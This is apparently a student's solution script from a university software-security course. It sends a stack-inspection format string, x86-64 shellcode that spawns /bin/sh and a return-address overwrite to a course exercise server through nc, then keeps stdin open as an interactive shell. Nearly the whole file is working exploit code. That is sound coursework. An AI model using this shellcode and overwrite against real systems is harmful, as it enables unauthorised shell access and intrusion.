Finished assignemnt 5b
[sws1-1415.git] / ass5b / mart / sws1-assignment5b-s4109503-s4202015 / exercise2e.sh
1 { # Print padding and stack inspection
2 printf "......%34s" | sed 's/ /%p/g'
3 # Print shell code
4 printf "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1"
5 printf "\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
6 # Overwrite frame pointer and top of stack pointer print return address
7 printf "%16s\x50\xeb\xff\xff\xff\x7f\n"
8 # Start reading from stdin and echoing it to stdout
9 cat
10 } | nc hackme.cs.ru.nl 2266